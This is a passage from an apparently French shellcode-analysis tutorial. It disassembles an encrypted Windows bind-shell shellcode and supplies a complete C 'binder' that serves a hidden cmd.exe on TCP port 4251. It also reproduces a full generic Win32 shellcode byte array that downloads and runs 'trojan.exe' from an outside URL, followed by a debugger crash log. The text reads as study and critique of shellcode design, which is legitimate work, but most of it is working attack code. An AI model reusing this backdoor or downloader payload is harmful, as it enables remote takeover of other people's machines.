0012FAC0 FFD1             call        ecx	// call ecx
0012FAC2 58               pop         eax	// eax = 90C3565Eh
0012FAC3 33C9             xor         ecx,ecx
0012FAC5 B11C             mov         cl,1Ch	// initialise cl à 28
0012FAC7 90               nop
0012FAC8 90               nop			// porcass nop
0012FAC9 90               nop			// anti null bytes j'imagine
0012FACA 90               nop
0012FACB 03F1             add         esi,ecx	// pointe esi au debut du crypted shellcode
0012FACD 56               push        esi
0012FACE 5F               pop         edi	// met edi au même niveau que esi
0012FACF 33C9             xor         ecx,ecx
0012FAD1 66B99504         mov         cx,495h	// 1173 bytes à decrypter
0012FAD5 90               nop
0012FAD6 90               nop			// hu ?
0012FAD7 90               nop
0012FAD8 AC               lods        byte ptr [esi]	// processus de 
decryptage xor
0012FAD9 3499             xor         al,99h		// avec la clé 99h
0012FADB AA               stos        byte ptr [edi]
0012FADC E2FA             loop        0012FAD8		// inutil de faire un dessin

// the decrypted shellcode asm source, woohouu
start :
0012FADE E800000000       call        0012FAE3		// push offset start
0012FAE3 5D               pop         ebp		// ebp = offset start
0012FAE4 81EDD9214000     sub         ebp,4021D9h	// paye ton stack


0012FAEA 8DB5F2244000     lea         esi,[ebp+4024F2h]	// LIB WSOCK32
0012FAF0 8DBDFA244000     lea         edi,[ebp+4024FAh] // ptr 1er API_NAME

/***************
>dd esi
0x0012FDFC  434f5357 0032334b 6b636f73 62007465 WSOCK32.socket.b
0x0012FE0C  00646e69 7473696c 61006e65 70656363 ind.listen.accep
0x0012FE1C  65730074 7200646e 00766365 736f6c63 t.send.recv.clos
0x0012FE2C  636f7365 0074656b 4e52454b 32334c45 esocket.KERNEL32
0x0012FE3C  65724300 50657461 00657069 53746547 .CreatePipe.GetS
0x0012FE4C  74726174 6e497075 00416f66 61657243 tartupInfoA.Crea
0x0012FE5C  72506574 7365636f 50004173 4e6b6565 teProcessA.PeekN
0x0012FE6C  64656d61 65706950 6f6c4700 416c6162 amedPipe.GlobalA
>dd edi
0x0012FE04  6b636f73 62007465 00646e69 7473696c socket.bind.list
0x0012FE14  61006e65 70656363 65730074 7200646e en.accept.send.r
0x0012FE24  00766365 736f6c63 636f7365 0074656b ecv.closesocket.
0x0012FE34  4e52454b 32334c45 65724300 50657461 KERNEL32.CreateP
0x0012FE44  00657069 53746547 74726174 6e497075 ipe.GetStartupIn
0x0012FE54  00416f66 61657243 72506574 7365636f foA.CreateProces
0x0012FE64  50004173 4e6b6565 64656d61 65706950 sA.PeekNamedPipe
0x0012FE74  6f6c4700 416c6162 636f6c6c 61655200 .GlobalAlloc.Rea
>
**************/


0012FAF6 6A07             push        7
0012FAF8 90               nop
0012FAF9 90               nop			// sa sent la modification de derniere
0012FAFA 90               nop			// minute ces nop :))
0012FAFB 90               nop
0012FAFC 59               pop         ecx	// ok, tout sa pour dire mov ecx, 7


0012FAFD E8D2020000       call        0012FDD4 	//  Function_Make_JMP_Table (7,edi,"WSOCK32")


0012FB02 8DB52A254000     lea         esi,[ebp+40252Ah]	// LIB KERNEL32
0012FB08 8DBD33254000     lea         edi,[ebp+402533h]	// ptr 1er API_NAME
0012FB0E 6A0A             push        0Ah		// 10 API addresse a retrouver
0012FB10 90               nop
0012FB11 90               nop
0012FB12 90               nop
0012FB13 90               nop
0012FB14 59               pop         ecx		// stored in ecx
0012FB15 E8BA020000       call        0012FDD4		// Function_Make_JMP_Table (10,edi,"KERNEL32")


// créé 2 pipes
+++
0012FB1A 6A00             push        0		// DWORD  nSize
0012FB1C 8DB5D9254000     lea         esi,[ebp+4025D9h]
0012FB22 56               push        esi	// LPSECURITY_ATTRIBUTES SECU
0012FB23 8DB5E5254000     lea         esi,[ebp+4025E5h]
0012FB29 56               push        esi	// PHANDLE  WRITE1
0012FB2A 8DB5E9254000     lea         esi,[ebp+4025E9h]
0012FB30 56               push        esi	// PHANDLE  READ1
0012FB31 FF9533254000     call        dword ptr [ebp+402533h] // CreatePipe 
(&READ1,&WRITE1,&SECU,0)


0012FB37 6A00             push        0
0012FB39 8DB5D9254000     lea         esi,[ebp+4025D9h]
0012FB3F 56               push        esi	// LPSECURITY_ATTRIBUTES SECU
0012FB40 8DB5ED254000     lea         esi,[ebp+4025EDh]
0012FB46 56               push        esi	// PHANDLE  WRITE2
0012FB47 8DB5F1254000     lea         esi,[ebp+4025F1h]
0012FB4D 56               push        esi	// PHANDLE  READ2
0012FB4E FF9533254000     call        dword ptr [ebp+402533h] // CreatePipe (&READ2,&WRITE2,&SECU,0)
+++


0012FB54 C785F525400044000000   mov   dword ptr [ebp+4025F5h],44h SI->cb = 0x44
0012FB5E 8DB5F5254000     lea         esi,[ebp+4025F5h]
0012FB64 56               push        esi	// LPSTARTUPINFO  SI
0012FB65 FF9537254000     call        dword ptr [ebp+402537h] // GetStartupInfo (&SI)

0012FB6B 8DB52D264000     lea         esi,[ebp+40262Dh]
0012FB71 AD               lods        dword ptr [esi]
0012FB72 50               push        eax
0012FB73 FF9553254000     call        dword ptr [ebp+402553h] // CloseHandle (READ2)

0012FB79 8DB531264000     lea         esi,[ebp+402631h]
0012FB7F AD               lods        dword ptr [esi]
0012FB80 50               push        eax
0012FB81 FF9553254000     call        dword ptr [ebp+402553h] // CloseHandle (WRITE1)

// formatage de structures
0012FB87 8DB5F1254000     lea         esi,[ebp+4025F1h]
0012FB8D 8DBD2D264000     lea         edi,[ebp+40262Dh]
0012FB93 A5               movs        dword ptr [edi],dword ptr [esi]
0012FB94 8DB5E5254000     lea         esi,[ebp+4025E5h]
0012FB9A AD               lods        dword ptr [esi]
0012FB9B 8DBD31264000     lea         edi,[ebp+402631h]
0012FBA1 AB               stos        dword ptr [edi]
0012FBA2 8DBD35264000     lea         edi,[ebp+402635h]
0012FBA8 AB               stos        dword ptr [edi]
0012FBA9 C7852526400000000000 mov         dword ptr [ebp+402625h],0
0012FBB3 C7852126400001010000 mov         dword ptr [ebp+402621h],101h


0012FBBD 8DB539264000     lea         esi,[ebp+402639h]
0012FBC3 56               push        esi	// &ProcessInformation
0012FBC4 8DB5F5254000     lea         esi,[ebp+4025F5h]
0012FBCA 56               push        esi	// &StartupInfo
0012FBCB 6A00             push        0		// LPCTSTR  lpCurrentDirectory = NULL
0012FBCD 6A00             push        0		// LPVOID  lpEnvironment = NULL
0012FBCF 6A10             push        10h	// DWORD  dwCreationFlags = CREATE_NEW_CONSOLE
0012FBD1 6A01             push        1		// BOOL  bInheritHandles = TRUE
0012FBD3 6A00             push        0		// LPSECURITY_ATTRIBUTES  lpThreadAttributes = NULL
0012FBD5 6A00             push        0		// LPSECURITY_ATTRIBUTES lpProcessAttributes = NULL
0012FBD7 8DB549264000     lea         esi,[ebp+402649h]
0012FBDD 56               push        esi	// LPTSTR  lpCommandLine = "CMD.exe"
0012FBDE 6A00             push        0		// LPCTSTR  lpApplicationName = NULL

// CreateProcess 
(NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,&StartupInfo,&ProcessInformation)
0012FBE0 FF953B254000     call        dword ptr [ebp+40253Bh]


0012FBE6 6800200000       push        2000h
0012FBEB 90               nop
0012FBEC 6800020000       push        200h
0012FBF1 FF9543254000     call        dword ptr [ebp+402543h] // GlobalAlloc (GPTR,8192);
0012FBF7 898551264000     mov         dword ptr [ebp+402651h],eax // EAX: 00136100

0012FBFD 33C0             xor         eax,eax // remise a zero
0012FBFF 50               push        eax // EAX: 0
0012FC00 40               inc         eax
0012FC01 50               push        eax // EAX: 1
0012FC02 40               inc         eax
0012FC03 50               push        eax // EAX: 2
0012FC04 FF95FA244000     call        dword ptr [ebp+4024FAh] // socket (AF_INET,SOCK_STREAM,0)
0012FC0A 50               push        eax
0012FC0B 5B               pop         ebx // ebx = SOCKET MySocket

0012FC0C 6A10             push        10h	// namelen = sizeof (addr)
0012FC0E 8DB5C9254000     lea         esi,[ebp+4025C9h]
0012FC14 56               push        esi 	// const struct sockaddr FAR * addr
0012FC15 53               push        ebx
0012FC16 FF95FE244000     call        dword ptr [ebp+4024FEh]	// bind (MySocket,&addr,namelen)

0012FC1C 6A03             push        3		// backlog = 3
0012FC1E 53               push        ebx
0012FC1F FF9502254000     call        dword ptr [ebp+402502h] //listen (MySocket,backlog)

0012FC25 8DB555264000     lea         esi,[ebp+402655h]
0012FC2B 56               push        esi	int FAR  *addrlen
0012FC2C 8DB5C9254000     lea         esi,[ebp+4025C9h]
0012FC32 56               push        esi	// struct sockaddr FAR  * addr
0012FC33 53               push        ebx	// SOCKET MySocket
0012FC34 FF9506254000     call        dword ptr [ebp+402506h] // accept (MySocket,&addr,&addrlen)


0012FC3A 8DBD59264000     lea         edi,[ebp+402659h]
0012FC40 AB               stos        dword ptr [edi]	// sauve le handle de NewSocket

0012FC41 33C0             xor         eax,eax
0012FC43 50               push        eax	// LPDWORD  lpcbMessage = NULL
0012FC44 8DBD65264000     lea         edi,[ebp+402665h]
0012FC4A 57               push        edi	// LPDWORD  lpcbAvail
0012FC4B 50               push        eax	// LPDWORD  lpcbRead = NULL
0012FC4C 50               push        eax	// DWORD  cbBuffer = NULL
0012FC4D 50               push        eax	// LPVOID lpvBuffer = NULL
0012FC4E 8DB5E9254000     lea         esi,[ebp+4025E9h]
0012FC54 AD               lods        dword ptr [esi]
0012FC55 50               push        eax	// HANDLE READ1

// PeekNamedPipe (READ1, NULL, NULL, NULL, &lpcbAvail, NULL)
0012FC56 FF953F254000     call        dword ptr [ebp+40253Fh]

0012FC5C 6A30             push        30h
0012FC5E FF954F254000     call        dword ptr [ebp+40254Fh] // Sleep (48)

0012FC64 EB4D             jmp         0012FCB3 // jump ====> bypass

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
0012FC66 90               nop
0012FC67 90               nop
0012FC68 90               nop

Loop :
0012FC69 33C0             xor         eax,eax	// eax = 0
0012FC6B 50               push        eax	 LPDWORD  lpcbMessage = NULL
0012FC6C 8DBD65264000     lea         edi,[ebp+402665h]
0012FC72 57               push        edi	// LPDWORD  lpcbAvail
0012FC73 50               push        eax	// LPDWORD  lpcbRead = NULL
0012FC74 50               push        eax	// DWORD  cbBuffer = NULL
0012FC75 50               push        eax	// LPVOID  lpvBuffer = NULL
0012FC76 8DB5E9254000     lea         esi,[ebp+4025E9h]
0012FC7C AD               lods        dword ptr [esi]
0012FC7D 50               push        eax	// HANDE READ1
// PeekNamedPipe (READ,NULL,NULL,NULL,&lpcbAvail,NULL)
0012FC7E FF953F254000     call        dword ptr [ebp+40253Fh]

0012FC84 6A50             push        50h
0012FC86 FF954F254000     call        dword ptr [ebp+40254Fh] // Sleep (80)

0012FC8C 83BD6526400002   cmp         dword ptr [ebp+402665h],2 // loop while (!lpcbAvail)
0012FC93 0F8217010000     jb          0012FDB0

A_boucle :
0012FC99 81BD6526400001200000 cmp         dword ptr [ebp+402665h],2001h
0012FCA3 720E             jb	0012FCB3
0012FCA5 90               nop
0012FCA6 90               nop
0012FCA7 90               nop
0012FCA8 90               nop
0012FCA9 C7856526400000200000 mov         dword ptr [ebp+402665h],2000h
*-*-*-*-*-*-*-*-*-*-*-*-

=====> bypass :
0012FCB3 6A00             push        0 // LPOVERLAPPED  lpOverlapped = NULL
0012FCB5 8B8565264000     mov         eax,dword ptr [ebp+402665h]
0012FCBB 8DBD65264000     lea         edi,[ebp+402665h]
0012FCC1 57               push        edi	// LPDWORD  lpNumberOfBytesRead = NULL
0012FCC2 50               push        eax	// DWORD  nNumberOfBytesToRead = NULL
0012FCC3 8B8551264000     mov         eax,dword ptr [ebp+402651h]
0012FCC9 50               push        eax	// LPVOID  lpBuffer = 0x1360e8
0012FCCA 8DB5E9254000     lea         esi,[ebp+4025E9h]
0012FCD0 AD               lods        dword ptr [esi]
0012FCD1 50               push        eax	// HANDLE  hFile = 60

// ReadFile (hFile,&lpBuffer,NULL,NULL,NULL)
0012FCD2 FF9547254000     call        dword ptr [ebp+402547h]

0012FCD8 6A50             push        50h
0012FCDA FF954F254000     call        dword ptr [ebp+40254Fh]	// Sleep (80)

0012FCE0 8B8565264000     mov         eax,dword ptr [ebp+402665h]
0012FCE6 6A00             push        0		// int flags = 0;
0012FCE8 50               push        eax	// int len;
0012FCE9 8DB551264000     lea         esi,[ebp+402651h]
0012FCEF AD               lods        dword ptr [esi]
0012FCF0 50               push        eax	// const char FAR * buf
0012FCF1 8DB559264000     lea         esi,[ebp+402659h]
0012FCF7 AD               lods        dword ptr [esi]
0012FCF8 50               push        eax	// SOCKET MySockey = 0xFFFFFFFF ??

// send (MySocket, &buff, strlen (buff),0)
0012FCF9 FF950A254000     call        dword ptr [ebp+40250Ah]

0012FCFF 6A00             push        0		LPDWORD  lpcbMessage = NULL
0012FD01 8DBD65264000     lea         edi,[ebp+402665h]
0012FD07 57               push        edi	// LPDWORD  lpcbAvail = NULL
0012FD08 6A00             push        0		// LPDWORD  lpcbRead = NULL
0012FD0A 6A00             push        0		// DWORD  cbBuffer = NULL
0012FD0C 6A00             push        0		// LPVOID lpvBuffer = NULL
0012FD0E 8DB5E9254000     lea         esi,[ebp+4025E9h]
0012FD14 AD               lods        dword ptr [esi]
0012FD15 50               push        eax	// HANDLE  READ1

//PeekNamedPipe (READ1,NULL,NULL,NULL,NULL,NULL)
0012FD16 FF953F254000     call        dword ptr [ebp+40253Fh]

0012FD1C 6A50             push        50h
0012FD1E FF954F254000     call        dword ptr [ebp+40254Fh]	// Sleep (80)

0012FD24 33C9             xor         ecx,ecx
0012FD26 398D65264000     cmp         dword ptr [ebp+402665h],ecx // si rien a lire sur la socket
0012FD2C 0F8767FFFFFF     ja          0012FC99	// jmp A_boucle

0012FD32 6A00             push        0		 // int flags = 0
0012FD34 6800200000       push        2000h	 // buffer len = 8192 bytes
0012FD39 90               nop
0012FD3A 8DB551264000     lea         esi,[ebp+402651h]
0012FD40 AD               lods        dword ptr [esi]
0012FD41 50               push        eax	// char FAR * buf
0012FD42 8DB559264000     lea         esi,[ebp+402659h]
0012FD48 AD               lods        dword ptr [esi]
0012FD49 50               push        eax	// SOCKET MySocket

// NumberOfByteRead = recv (MySocket,&buff,0x2000,0)
0012FD4A FF950E254000     call        dword ptr [ebp+40250Eh]

0012FD50 898561264000     mov         dword ptr [ebp+402661h],eax // save NumberOfByteRead

0012FD56 6A00             push        0		// LPOVERLAPPED  lpOverlapped = 0
0012FD58 8DBD65264000     lea         edi,[ebp+402665h]
0012FD5E 57               push        edi	// LPDWORD  lpNumberOfBytesWritten
0012FD5F 50               push        eax	// DWORD  nNumberOfBytesToWrite
0012FD60 8DB551264000     lea         esi,[ebp+402651h]
0012FD66 AD               lods        dword ptr [esi]
0012FD67 50               push        eax	// LPCVOID  lpBuffer
0012FD68 8DB5ED254000     lea         esi,[ebp+4025EDh]
0012FD6E AD               lods        dword ptr [esi]
0012FD6F 50               push        eax	// HANDLE  WRITE2

// WriteFile 
(WRITE2,&lpBuffer,nNumberOfBytesToWrite,&lpNumberOfBytesWritten,0)
0012FD70 FF954B254000     call        dword ptr [ebp+40254Bh]

0012FD76 6A50             push        50h
0012FD78 FF954F254000     call        dword ptr [ebp+40254Fh] // Sleep (80)

0012FD7E 6A00             push        0		// LPOVERLAPPED  lpOverlapped = 0
0012FD80 8B8561264000     mov         eax,dword ptr [ebp+402661h]
0012FD86 8DBD65264000     lea         edi,[ebp+402665h]
0012FD8C 57               push        edi	// LPDWORD  lpNumberOfBytesRead
0012FD8D 50               push        eax	// DWORD  nNumberOfBytesToRead
0012FD8E 8B8551264000     mov         eax,dword ptr [ebp+402651h]
0012FD94 50               push        eax	// LPVOID  lpBuffer
0012FD95 8DB5E9254000     lea         esi,[ebp+4025E9h]
0012FD9B AD               lods        dword ptr [esi]
0012FD9C 50               push        eax	// HANDLE  READ1
// ReadFile (READ1,nNumberOfBytesToRead,&lpNumberOfBytesRead,0)
0012FD9D FF9547254000     call        dword ptr [ebp+402547h]

0012FDA3 6A50             push        50h
0012FDA5 FF954F254000     call        dword ptr [ebp+40254Fh] // Sleep (80)
0012FDAB E9B9FEFFFF       jmp         0012FC69	// jmp Loop (boucle infinie)

/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Function_Make_JMP_Table (int Nbr_of_API, LPTSTR API_TABLE, char *LIBRARY_NAME)
/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Function_Make_JMP_Table :

0012FDD4 51               push        ecx	// 7 API a check
0012FDD5 56               push        esi	// push LIBRARY_NAME
0012FDD6 6874404000       push        404074h	// push (void *) LoadLibraryA
0012FDDB 90               nop
0012FDDC 5A               pop         edx
0012FDDD FF12             call        dword ptr [edx] // call LoadLibraryA (LIBRARY_NAME)
/**************************
>dd edx
0x00404074  77e7a254
***************************/

0012FDDF 50               push        eax	// eax = (HMODULE) LIBRARY_NAME
0012FDE0 5B               pop         ebx	// mov ebx, eax
0012FDE1 59               pop         ecx	// mov ecx, 7
0012FDE2 57               push        edi
0012FDE3 5E               pop         esi	// esi = (char *) API_NAME[ecx]

Retrive_API_Address :
0012FDE4 51               push        ecx	// 7
0012FDE5 56               push        esi	// API_NAME[ecx]=API_TABLE
0012FDE6 53               push        ebx	// LIBRARY_NAME
0012FDE7 6870404000       push        404070h
0012FDEC 90               nop
0012FDED 5A               pop         edx	// mov edx, [IT adresse de GetProcAddress]
0012FDEE FF12             call        dword ptr [edx]	// GetProcAddress (LIBRARY_NAME,API_NAME[ecx])
/**************************
>dd edx
0x00404070  77e79ac1
***************************/
0012FDF0 50               push        eax	// eax = (void *) API_NAME

0012FDF1 AC               lods        byte ptr [esi] // boucle qui avance le
0012FDF2 84C0             test        al,al	     // pointeur sur le prochain
0012FDF4 75FB             jne         0012FDF1	     // nom d'API a loader
						     // API_NAME[--ecx]

0012FDF6 58               pop         eax	// restore l'adresse de socket ()
0012FDF7 AB               stos        dword ptr [edi]	// place un 0 dans l'API table
0012FDF8 59               pop         ecx	//
0012FDF9 E2E9             loop        0012FDE4	// while (ecx) loop Retrive_API_Address
0012FDFB C3               ret			// fin de fonction
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/


Cette analyse de code pouvant faire peur a certaines personnes, voici un binder trivial
en C, de facon a mieux comprendre la démarche du shellcode de Zan


========================================== binder.c ============================================
#include 
#include 
#include 

#define RECV_BUF 1024

void main (int argc, char *argv[])
{
	HANDLE Read1,Write1,Read2,Write2;
	SOCKET sock1, mysock;
	SECURITY_ATTRIBUTES secu={(DWORD)sizeof (SECURITY_ATTRIBUTES),NULL,TRUE};
	STARTUPINFO starti;
	PROCESS_INFORMATION pi;
	SOCKADDR_IN sin;
	WSADATA wsadata;
	WORD wVersionRequested = MAKEWORD (2,0);
	unsigned short port=4251; //bind port
	DWORD lpNumberOfBytesRead;
	int err;
	char buffer[RECV_BUF], cmd[MAX_PATH],
	invite[]="------------------------------/n"
		 " Simple CMD Binder, By ThreaT/n"
		 "Tapez 2 fois EXIT pour quitter/n"
		 "           Have fun !/n"
		 "------------------------------/n";

	lpNumberOfBytesRead = GetEnvironmentVariable("ComSpec",cmd,MAX_PATH);
	if (!lpNumberOfBytesRead) ExitProcess (0);

	err = WSAStartup(wVersionRequested, &wsadata);
	if (err) ExitProcess (0);

	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr=0;
	sin.sin_port = htons (port);

	err = sizeof (sin);

	sock1 = socket (AF_INET, SOCK_STREAM, 0);
	bind (sock1, (SOCKADDR *)&sin, err);
	listen (sock1,0);

	mysock = accept (sock1,(SOCKADDR *)&sin, &err);
	if (mysock == INVALID_SOCKET) ExitProcess (0);

	CreatePipe(&Read1,&Write1,&secu,0);
	CreatePipe(&Read2,&Write2,&secu,0);

	ZeroMemory (&starti,sizeof (starti));
	ZeroMemory (&pi,sizeof (pi));

	starti.cb=sizeof (STARTUPINFO);
	starti.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
	starti.wShowWindow=SW_HIDE;
	starti.hStdInput=Read2;
	starti.hStdOutput=Write1;
	starti.hStdError=Write1;

	err = CreateProcess(NULL,cmd,&secu,&secu,TRUE,0,NULL,NULL,&starti,&pi);
	if (!err) ExitProcess (0);

	send (mysock,invite,sizeof (invite),0);

	while (1) {
		Sleep (100);
		ZeroMemory (buffer,RECV_BUF);

		PeekNamedPipe(Read1,(DWORD)NULL,(DWORD)NULL,(DWORD)NULL,&lpNumberOfBytesRead,(DWORD)NULL);
		while (lpNumberOfBytesRead) {
			Sleep (200);
			err = ReadFile(Read1,buffer,RECV_BUF,&lpNumberOfBytesRead,NULL);
			if (!err) break;
			else send (mysock,buffer,lpNumberOfBytesRead,0);
			PeekNamedPipe(Read1,(DWORD)NULL,(DWORD)NULL,(DWORD)NULL,&lpNumberOfBytesRead,(DWORD)NULL);
		}

			Sleep (200);
			err = recv (mysock,buffer,RECV_BUF,0);
			if (!lstrcmpi (buffer,"exit/n")) {
				closesocket (mysock);
				TerminateProcess(pi.hProcess,0);
				ExitProcess (0);
			} else WriteFile(Write2,buffer,err,&lpNumberOfBytesRead,0);
		}
}

========================================== EOF ===============================================


Nous pouvons dorénavant en dire un peu plus sur ce shellcode, à savoir :

1 + une technique original pour retrouver l'offset du shellcode crypté permet de
    gagner en octets et en temps machine

2 + une fonction principale (Function_Make_JMP_Table) permettant de créer une jump table
    de toutes les fonctions utilisées par le programme s'avère très pratique

3 - Un stockage de tout les noms d'API grossit très fortement le shellcode

4 - Des endroits bourré de NOP auraient pu être évités, ce qui marque encore un point négatif
    quant à l'optimisation de sa taille.

5 - La méthode de travail utilisée ici (par jmp table) est vraiment trop lourde, et génère
    un code bourré de null bytes (obligé d'être crypté)


bref, nous somme en possession d'un shellcode lourd (1218 BYTES !!), nécessitant
2 adresses hardcodés !

allons voir ailleurs si il n'existe pas mieux...



///
ETUDE DU SHELLCODE GENERIQUE DE RAISE.
///

Pour rester dans notre trip, étudions maintenant un shellcode générique utilisant
un scan de l'import table pour retrouver ses petits, j'ai bien sur nommé, le shellcode
générique de RaiSe.

pour commencer, on remarque que ce fameux shellcode a été retouché plusieur fois, la version
que nous étudierons sera donc celle ci

http://www.undersec.com/programas/generic-win32.c

Il est tout à fait possible que vous ayez trouver une version différente quelque part au
fin fond du web, je vous rassure, les réactions du test restent les mêmes à quelque chose près...

voici le code que nous allons torturer

====================================== raise.c ==============================================
#include 

void main () {

char scode[] =
"/xEB/x30/x5F/xFC/x8B/xF7/x80"
"/x3F/x08/x75/x03/x80/x37/x08/x47/x80/x3F/x01/x75/xF2/x8B/xE6/x33/xD2/xB2/x04/xC1"
"/xE2/x08/x2B/xE2/x8B/xEC/x33/xD2/xB2/x03/xC1/xE2/x08/x2B/xE2/x54/x5A/xB2/x7C/x8B"
"/xE2/xEB/x02/xEB/x57/x89/x75/xFC/x33/xC0/xB4/x40/xC1/xE0/x08/x89/x45/xF8/x8B/x40"
"/x3C/x03/x45/xF8/x8D/x40/x7E/x8B/x40/x02/x03/x45/xF8/x8B/xF8/x8B/x7F/x0C/x03/x7D"
"/xF8/x81/x3F/x4B/x45/x52/x4E/x74/x07/x83/xC0/x14/x8B/xF8/xEB/xEB/x50/x8B/xF8/x33"
"/xC9/x33/xC0/xB1/x10/x8B/x17/x03/x55/xF8/x52/xEB/x03/x57/x8B/xD7/x80/x7A/x03/x80"
"/x74/x16/x8B/x32/x03/x75/xF8/x83/xC6/x02/xEB/x02/xEB/x7E/x8B/x7D/xFC/x51/xF3/xA6"
"/x59/x5F/x74/x06/x40/x83/xC7/x04/xEB/xDB/x5F/x8B/x7F/x10/x03/x7D/xF8/xC1/xE0/x02"
"/x03/xF8/x8B/x07/x8B/x5D/xFC/x8D/x5B/x11/x53/xFF/xD0/x89/x45/xF4/x8B/x40/x3C/x03"
"/x45/xF4/x8B/x70/x78/x03/x75/xF4/x8D/x76/x1C/xAD/x03/x45/xF4/x89/x45/xF0/xAD/x03"
"/x45/xF4/x89/x45/xEC/xAD/x03/x45/xF4/x89/x45/xE8/x8B/x55/xEC/x8B/x75/xFC/x8D/x76"
"/x1E/x33/xDB/x33/xC9/xB1/x0F/x8B/x3A/x03/x7D/xF4/x56/x51/xF3/xA6/x59/x5E/x74/x06"
"/x43/x8D/x52/x04/xEB/xED/xD1/xE3/x8B/x75/xE8/x03/xF3/x33/xC9/x66/x8B/x0E/xEB/x02"
"/xEB/x7D/xC1/xE1/x02/x03/x4D/xF0/x8B/x09/x03/x4D/xF4/x89/x4D/xE4/x8B/x5D/xFC/x8D"
"/x5B/x2D/x33/xC9/xB1/x07/x8D/x7D/xE0/x53/x51/x53/x8B/x55/xF4/x52/x8B/x45/xE4/xFC"
"/xFF/xD0/x59/x5B/xFD/xAB/x8D/x64/x24/xF8/x38/x2B/x74/x03/x43/xEB/xF9/x43/xE2/xE1"
"/x8B/x45/xE0/x53/xFC/xFF/xD0/xFD/xAB/x33/xC9/xB1/x04/x8D/x5B/x0C/xFC/x53/x51/x53"
"/x8B/x55/xC4/x52/x8B/x45/xE4/xFF/xD0/x59/x5B/xFD/xAB/x38/x2B/x74/x03/x43/xEB/xF9"
"/x43/xE2/xE5/xFC/x33/xD2/xB6/x1F/xC1/xE2/x08/x52/x33/xD2/x52/x8B/x45/xD4/xFF/xD0"
"/x89/x45/xB0/x33/xD2/xEB/x02/xEB/x77/x52/x52/x52/x52/x53/x8B/x45/xC0/xFF/xD0/x8D"
"/x5B/x03/x89/x45/xAC/x33/xD2/x52/xB6/x80/xC1/xE2/x10/x52/x33/xD2/x52/x52/x8D/x7B"
"/x09/x57/x50/x8B/x45/xBC/xFF/xD0/x89/x45/xA8/x8D/x55/xA0/x52/x33/xD2/xB6/x1F/xC1"
"/xE2/x08/x52/x8B/x4D/xB0/x51/x50/x8B/x45/xB8/xFF/xD0/x8B/x4D/xA8/x51/x8B/x45/xB4"
"/xFF/xD0/x8B/x4D/xAC/x51/x8B/x45/xB4/xFF/xD0/x33/xD2/x52/x53/x8B/x45/xDC/xFF/xD0"
"/x89/x45/xA4/x8B/x7D/xA0/x57/x8B/x55/xB0/x52/x50/x8B/x45/xD8/xFF/xD0/x8B/x55/xA4"
"/x52/x8B/x45/xD0/xFF/xD0/xEB/x02/xEB/x12/x33/xD2/x90/x52/x53/x8B/x45/xCC/xFF/xD0"
"/x33/xD2/x52/x8B/x45/xC8/xFF/xD0/xE8/xE6/xFD/xFF/xFF/x47/x65/x74/x4D/x6F/x64/x75"
"/x6C/x65/x48/x61/x6E/x64/x6C/x65/x41/x08/x6B/x65/x72/x6E/x65/x6C/x33/x32/x2E/x64"
"/x6C/x6C/x08/x47/x65/x74/x50/x72/x6F/x63/x41/x64/x64/x72/x65/x73/x73/x08/x4C/x6F"
"/x61/x64/x4C/x69/x62/x72/x61/x72/x79/x41/x08/x5F/x6C/x63/x72/x65/x61/x74/x08/x5F"
"/x6C/x77/x72/x69/x74/x65/x08/x47/x6C/x6F/x62/x61/x6C/x41/x6C/x6C/x6F/x63/x08/x5F"
"/x6C/x63/x6C/x6F/x73/x65/x08/x57/x69/x6E/x45/x78/x65/x63/x08/x45/x78/x69/x74/x50"
"/x72/x6F/x63/x65/x73/x73/x08/x77/x69/x6E/x69/x6E/x65/x74/x2E/x64/x6C/x6C/x08/x49"
"/x6E/x74/x65/x72/x6E/x65/x74/x4F/x70/x65/x6E/x41/x08/x49/x6E/x74/x65/x72/x6E/x65"
"/x74/x4F/x70/x65/x6E/x55/x72/x6C/x41/x08/x49/x6E/x74/x65/x72/x6E/x65/x74/x52/x65"
"/x61/x64/x46/x69/x6C/x65/x08/x49/x6E/x74/x65/x72/x6E/x65/x74/x43/x6C/x6F/x73/x65"
"/x48/x61/x6E/x64/x6C/x65/x08/x4E/x53/x08/x6E/x73/x73/x63/x2E/x65/x78/x65/x08"
"http://www.chez.com/mvm/trojan.exe"
"/x08/x01";

void (*shellcode) () = (void * ) scode;
shellcode ();

}
======================================== EOF ==================================================

E:/code/SP>cl raise.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

raise.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:raise.exe
raise.obj

E:/code/SP>raise
Module Load: E:/CODE/SP/raise.exe  (symbol loading deferred)
Thread Create:  Process=0, Thread=0
Module Load: C:/WINNT/SYSTEM32/ntdll.dll  (symbol loading deferred)
Module Load: C:/WINNT/SYSTEM32/kernel32.dll  (symbol loading deferred)
Module Load: C:/WINNT/SYSTEM32/ntdll.dll  (could not open symbol file)
Module Load: E:/CODE/SP/raise.exe  (no symbols loaded)
Thread Create:  Process=0, Thread=1
Second chance exception c0000005 (Access Violation) occurred
Thread stopped.
>rt
EAX=00000024  EBX=7ffdf000  ECX=00000010  EDX=004044ac  ESI=658700cc  EDI=0012fe88
EIP=0012fcfd  ESP=0012f770  EBP=0012fa88  EFL=00000206
CS=001b  DS=0023  ES=0023  SS=0023  FS=0038  GS=0000
Dr0=e14a4a18  Dr1=fb375a01  Dr2=00000000  Dr3=e14e7008  Dr6=e265bc88  Dr7=00000001
>u eip-6
0012FCF7  EB7E             jmp         0012FD77
0012FCF9  8B7DFC           mov         edi,dword ptr [ebp-4]
0012FCFC  51               push        ecx
0012FCFD  F3A6             repe cmps   byte ptr [esi],byte ptr [edi]   // crash
0012FCFF  59               pop         ecx
0012FD00  5F               pop         edi
0012FD01  7406             je          0012FD09
0012FD03  40               inc         eax
>

